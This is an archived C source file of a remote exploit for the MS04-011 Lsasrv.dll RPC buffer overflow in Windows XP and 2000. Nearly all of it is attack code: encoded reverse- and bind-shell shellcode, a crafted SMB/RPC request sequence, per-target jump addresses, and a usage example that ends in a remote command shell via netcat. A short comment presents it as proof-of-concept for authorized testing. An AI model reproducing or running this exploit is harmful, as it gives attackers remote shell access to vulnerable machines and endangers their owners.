home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / microsoft / remote / HOD-ms04011-lsasrv-expl.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  19KB  |  521 lines

  1. /*  HOD-ms04011-lsasrv-expl.c:
  2.  *
  3.  *  MS04011 Lsasrv.dll RPC buffer overflow remote exploit
  4.  *  Version 0.1 coded by
  5.  *
  6.  *
  7.  *                 .::[ houseofdabus ]::.
  8.  *
  9.  *
  10.  * -------------------------------------------------------------------
  11.  * Usage:
  12.  *
  13.  * expl <target> <victim IP> <bindport> [connectback IP] [options]
  14.  *
  15.  * Targets:
  16.  *        0 [0x01004600]: WinXP Professional    [universal] lsass.exe
  17.  *        1 [0x7515123c]: Win2k Professional    [universal] netrap.dll
  18.  *        2 [0x751c123c]: Win2k Advanced Server [SP4]       netrap.dll
  19.  *
  20.  * Options:
  21.  *        -t:             Detect remote OS:
  22.  *                        Windows 5.1 - WinXP
  23.  *                        Windows 5.0 - Win2k
  24.  * -------------------------------------------------------------------
  25.  *
  26.  * Tested on
  27.  *        - Windows XP Professional SP0 English version
  28.  *        - Windows XP Professional SP0 Russian version
  29.  *        - Windows XP Professional SP1 English version
  30.  *        - Windows XP Professional SP1 Russian version
  31.  *        - Windows 2000 Professional SP2 English version
  32.  *        - Windows 2000 Professional SP2 Russian version
  33.  *        - Windows 2000 Professional SP4 English version
  34.  *        - Windows 2000 Professional SP4 Russian version
  35.  *        - Windows 2000 Advanced Server SP4 English version
  36.  *        - Windows 2000 Advanced Server SP4 Russian version
  37.  *
  38.  *
  39.  * Example:
  40.  *
  41.  * C:\HOD-ms04011-lsasrv-expl 0 192.168.1.10 4444 -t
  42.  *
  43.  * MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
  44.  * --- Coded by .::[ houseofdabus ]::. ---
  45.  *
  46.  * [*] Target: IP: 192.168.1.10: OS: WinXP Professional    [universal] lsass.exe
  47.  * [*] Connecting to 192.168.1.10:445 ... OK
  48.  * [*] Detecting remote OS: Windows 5.0
  49.  *
  50.  *
  51.  * C:\HOD-ms04011-lsasrv-expl 1 192.168.1.10 4444
  52.  *
  53.  * MS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1
  54.  * --- Coded by .::[ houseofdabus ]::. ---
  55.  *
  56.  * [*] Target: IP: 192.168.1.10: OS: Win2k Professional    [universal] netrap.dll
  57.  * [*] Connecting to 192.168.1.10:445 ... OK
  58.  * [*] Attacking ... OK
  59.  *
  60.  * C:\nc 192.168.1.10 4444
  61.  * Microsoft Windows 2000 [Version 5.00.2195]
  62.  * (C) Copyright 1985-2000 Microsoft Corp.
  63.  *
  64.  * C:\WINNT\system32>
  65.  *
  66.  *
  67.  *
  68.  *   This is provided as proof-of-concept code only for educational
  69.  *   purposes and testing by authorized individuals with permission to
  70.  *   do so.
  71.  */
  72.  
  73. #include <windows.h>
  74.  
  75. #pragma comment(lib, "ws2_32")
  76.  
  77. // reverse shellcode
  78. unsigned char reverseshell[] =
  79. "\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
  80. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  81. "\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  82. "\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
  83. "\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
  84. "\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
  85. "\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
  86. "\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
  87. "\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
  88. "\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
  89. "\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
  90. "\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
  91. "\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
  92. "\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
  93. "\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
  94. "\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
  95. "\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
  96. "\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
  97. "\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
  98. "\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
  99. "\xF9\x7E\xE0\x5F\xE0";
  100.  
  101. // bind shellcode
  102. unsigned char bindshell[] =
  103. "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
  104. "\xEB\x05\xE8\xEB\xFF\xFF\xFF"
  105. "\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
  106. "\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
  107. "\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
  108. "\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
  109. "\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
  110. "\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
  111. "\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
  112. "\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
  113. "\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
  114. "\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
  115. "\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
  116. "\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
  117. "\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
  118. "\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
  119. "\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
  120. "\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
  121. "\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
  122. "\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
  123. "\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
  124. "\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
  125. "\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
  126. "\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
  127. "\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
  128. "\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";
  129.  
  130.  
  131.  
  132. char req1[] =
  133. "\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
  134. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  135. "\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
  136. "\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
  137. "\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
  138. "\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
  139. "\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
  140. "\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
  141. "\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";
  142.  
  143. char req2[] =
  144. "\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
  145. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  146. "\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
  147. "\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
  148. "\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
  149. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  150. "\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
  151. "\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
  152. "\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
  153. "\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
  154. "\x2E\x00\x30\x00\x00\x00\x00\x00";
  155.  
  156.  
  157. char req3[] =
  158. "\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
  159. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  160. "\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
  161. "\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
  162. "\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
  163. "\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
  164. "\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
  165. "\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
  166. "\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
  167. "\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
  168. "\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
  169. "\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
  170. "\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
  171. "\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";
  172.  
  173.  
  174. char req4[] =
  175. "\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
  176. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
  177. "\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
  178. "\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
  179. "\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
  180. "\x49\x00\x50\x00\x43\x00\x24"
  181. "\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";
  182.  
  183. char req5[] =
  184. "\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
  185. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
  186. "\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
  187. "\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
  188. "\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
  189. "\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
  190. "\x72\x00\x70\x00\x63\x00\x00\x00";
  191.  
  192. char req6[] =
  193. "\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
  194. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
  195. "\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
  196. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
  197. "\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
  198. "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
  199. "\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
  200. "\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
  201. "\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
  202. "\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";
  203.  
  204. char req7[] =
  205. "\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
  206. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
  207. "\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
  208. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
  209. "\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
  210. "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
  211. "\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
  212. "\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
  213. // room for shellcode here ...
  214.  
  215. char shit1[] =
  216.  
  217. "\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
  218. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  219. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  220. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  221. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
  222. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  223. "\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  224. "\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  225. "\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";
  226.  
  227. char req8[] =
  228. "\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
  229. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
  230. "\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
  231. "\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
  232. "\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
  233. "\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
  234. "\x00\x00\x00\x00\xAD\x0D\x00\x00";
  235. // room for shellcode here ...
  236.  
  237. char req9[] =
  238. "\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
  239. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
  240. "\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
  241. "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
  242. "\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
  243. "\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
  244. "\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";
  245.  
  246.  
  247. char shit3[] =
  248. "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  249. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  250. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  251. "\x01\x00\x00\x00"
  252. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
  253. "\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
  254. "\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
  255. "\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
  256. "\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";
  257.  
  258.  
  259.  
  260.  
  261. #define LEN                     3500
  262. #define BUFSIZE                 2000
  263. #define NOP                     0x90
  264.  
  265. struct targets {
  266.  
  267.         int             num;
  268.         char            name[50];
  269.         long            jmpaddr;
  270.  
  271. } ttarget[]= {
  272.  
  273.         { 0, "WinXP Professional    [universal] lsass.exe ",    0x01004600 }, // jmp esp addr
  274.         { 1, "Win2k Professional    [universal] netrap.dll",    0x7515123c }, // jmp ebx addr
  275.         { 2, "Win2k Advanced Server [SP4]       netrap.dll",    0x751c123c }, // jmp ebx addr
  276.         //{ 3, "reboot",                                                        0xffffffff }, // crash
  277.         { NULL }
  278.  
  279. };
  280.  
  281. void usage(char *prog)
  282. {
  283.         int i;
  284.         printf("Usage:\n\n");
  285.         printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
  286.         printf("Targets:\n");
  287.         for (i=0; i<3; i++)
  288.                 printf("        %d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
  289.         printf("\nOptions:\n");
  290.         printf("        -t:             Detect remote OS:\n");
  291.         printf("                        Windows 5.1 - WinXP\n");
  292.         printf("                        Windows 5.0 - Win2k\n\n");
  293.         exit(0);
  294. }
  295.  
  296.  
  297.  
  298. int main(int argc, char *argv[])
  299. {
  300.  
  301. int i;
  302. int opt = 0;
  303. char *target;
  304. char hostipc[40];
  305. char hostipc2[40*2];
  306.  
  307. unsigned short port;
  308. unsigned long ip;
  309. unsigned char *sc;
  310.  
  311. char buf[LEN+1];
  312. char sendbuf[(LEN+1)*2];
  313.  
  314. char req4u[sizeof(req4)+20];
  315.  
  316. char screq[BUFSIZE+sizeof(req7)+1500+440];
  317. char screq2k[4348+4060];
  318. char screq2k2[4348+4060];
  319.  
  320. char recvbuf[1600];
  321.  
  322. char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
  323. char strBuffer[BUFSIZE];
  324.  
  325. unsigned int targetnum = 0;
  326.  
  327. int len, sockfd;
  328. short dport = 445;
  329. struct hostent *he;
  330. struct sockaddr_in their_addr;
  331. char smblen;
  332. char unclen;
  333. WSADATA wsa;
  334.  
  335.  
  336.         printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
  337.         printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");
  338.  
  339.  
  340. if (argc < 4) {
  341.         usage(argv[0]);
  342. }
  343.  
  344. target = argv[2];
  345. sprintf((char *)hostipc,"\\\\%s\\ipc$", target);
  346.  
  347. for (i=0; i<40; i++) {
  348.         hostipc2[i*2] = hostipc[i];
  349.         hostipc2[i*2+1] = 0;
  350. }
  351.  
  352. memcpy(req4u, req4, sizeof(req4)-1);
  353. memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
  354. memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);
  355.  
  356. smblen = 52+(char)strlen(hostipc)*2;
  357. memcpy(req4u+3, &smblen, 1);
  358.  
  359. unclen = 9 + (char)strlen(hostipc)*2;
  360. memcpy(req4u+45, &unclen, 1);
  361.  
  362. if (argc > 4)
  363.         if (!memcmp(argv[4], "-t", 2)) opt = 1;
  364.  
  365. if ( (argc > 4) && !opt ) {
  366.         port = htons(atoi(argv[3]))^(USHORT)0x9999;
  367.         ip = inet_addr(argv[4])^(ULONG)0x99999999;
  368.         memcpy(&reverseshell[118], &port, 2);
  369.         memcpy(&reverseshell[111], &ip, 4);
  370.         sc = reverseshell;
  371. } else {
  372.         port = htons(atoi(argv[3]))^(USHORT)0x9999;
  373.         memcpy(&bindshell[176], &port, 2);
  374.         sc = bindshell;
  375. }
  376.  
  377.  
  378. if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
  379.         memset(buf, NOP, LEN);
  380.  
  381.         //memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
  382.         memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
  383.         memcpy(&buf[2036], sc, strlen(sc));
  384.  
  385.         memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
  386.         memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
  387.         //memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr
  388.  
  389.         memcpy(&buf[2856], sc, strlen(sc));
  390.  
  391.         for (i=0; i<LEN; i++) {
  392.                 sendbuf[i*2] = buf[i];
  393.                 sendbuf[i*2+1] = 0;
  394.         }
  395.         sendbuf[LEN*2]=0;
  396.         sendbuf[LEN*2+1]=0;
  397.  
  398.         memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
  399.         memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
  400.  
  401. } else {
  402.         memset(strBuffer, NOP, BUFSIZE);
  403.         memcpy(strBuffer+160, sc, strlen(sc));
  404.         memcpy(strBuffer+1980, strasm, strlen(strasm));
  405.         *(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
  406. }
  407.  
  408. memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);
  409.  
  410. WSAStartup(MAKEWORD(2,0),&wsa);
  411.  
  412. if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
  413.         perror("[-] gethostbyname ");
  414.         exit(1);
  415. }
  416.  
  417. if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  418.         perror("socket");
  419.         exit(1);
  420. }
  421.  
  422.  
  423. their_addr.sin_family = AF_INET;
  424. their_addr.sin_port = htons(dport);
  425. their_addr.sin_addr = *((struct in_addr *)he->h_addr);
  426. memset(&(their_addr.sin_zero), '\0', 8);
  427.  
  428. printf("[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
  429. printf("[*] Connecting to %s:445 ... ", argv[2]);
  430. if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == -1) {
  431.         printf("\n[-] Sorry, cannot connect to %s:445. Try again...\n", argv[2]);
  432.         exit(1);
  433. }
  434. printf("OK\n");
  435.  
  436. if (send(sockfd, req1, sizeof(req1)-1, 0) == -1) {
  437.         printf("[-] Send failed\n");
  438.         exit(1);
  439. }
  440. len = recv(sockfd, recvbuf, 1600, 0);
  441.  
  442. if (send(sockfd, req2, sizeof(req2)-1, 0) == -1) {
  443.         printf("[-] Send failed\n");
  444.         exit(1);
  445. }
  446. len = recv(sockfd, recvbuf, 1600, 0);
  447.  
  448. if (send(sockfd, req3, sizeof(req3)-1, 0) == -1) {
  449.         printf("[-] Send failed\n");
  450.         exit(1);
  451. }
  452. len = recv(sockfd, recvbuf, 1600, 0);
  453.  
  454. if ((argc > 5) || opt) {
  455.         printf("[*] Detecting remote OS: ");
  456.         for (i=0; i<12; i++) {
  457.                 printf("%c", recvbuf[48+i*2]);
  458.         }
  459.         printf("\n");
  460.         exit(0);
  461. }
  462.  
  463. printf("[*] Attacking ... ");
  464. if (send(sockfd, req4u, smblen+4, 0) == -1) {
  465.         printf("[-] Send failed\n");
  466.         exit(1);
  467. }
  468. len = recv(sockfd, recvbuf, 1600, 0);
  469.  
  470. if (send(sockfd, req5, sizeof(req5)-1, 0) == -1) {
  471.         printf("[-] Send failed\n");
  472.         exit(1);
  473. }
  474. len = recv(sockfd, recvbuf, 1600, 0);
  475.  
  476.  
  477. if (send(sockfd, req6, sizeof(req6)-1, 0) == -1) {
  478.         printf("[-] Send failed\n");
  479.         exit(1);
  480. }
  481. len = recv(sockfd, recvbuf, 1600, 0);
  482.  
  483. if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
  484.         memcpy(screq2k, req8, sizeof(req8)-1);
  485.         memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);
  486.  
  487.         memcpy(screq2k2, req9, sizeof(req9)-1);
  488.         memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);
  489.  
  490.         memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);
  491.  
  492.         if (send(sockfd, screq2k, 4348, 0) == -1) {
  493.                 printf("[-] Send failed\n");
  494.                 exit(1);
  495.         }
  496.         len = recv(sockfd, recvbuf, 1600, 0);
  497.  
  498.         if (send(sockfd, screq2k2, 4060, 0) == -1) {
  499.                 printf("[-] Send failed\n");
  500.                 exit(1);
  501.         }
  502.  
  503. } else {
  504.         memcpy(screq, req7, sizeof(req7)-1);
  505.         memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
  506.         memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);
  507.  
  508.         screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
  509.         if (send(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1){
  510.                 printf("[-] Send failed\n");
  511.                 exit(1);
  512.         }
  513. }
  514. printf("OK\n");
  515.  
  516. len = recv(sockfd, recvbuf, 1600, 0);
  517.  
  518. return 0;
  519. }
  520.  
  521.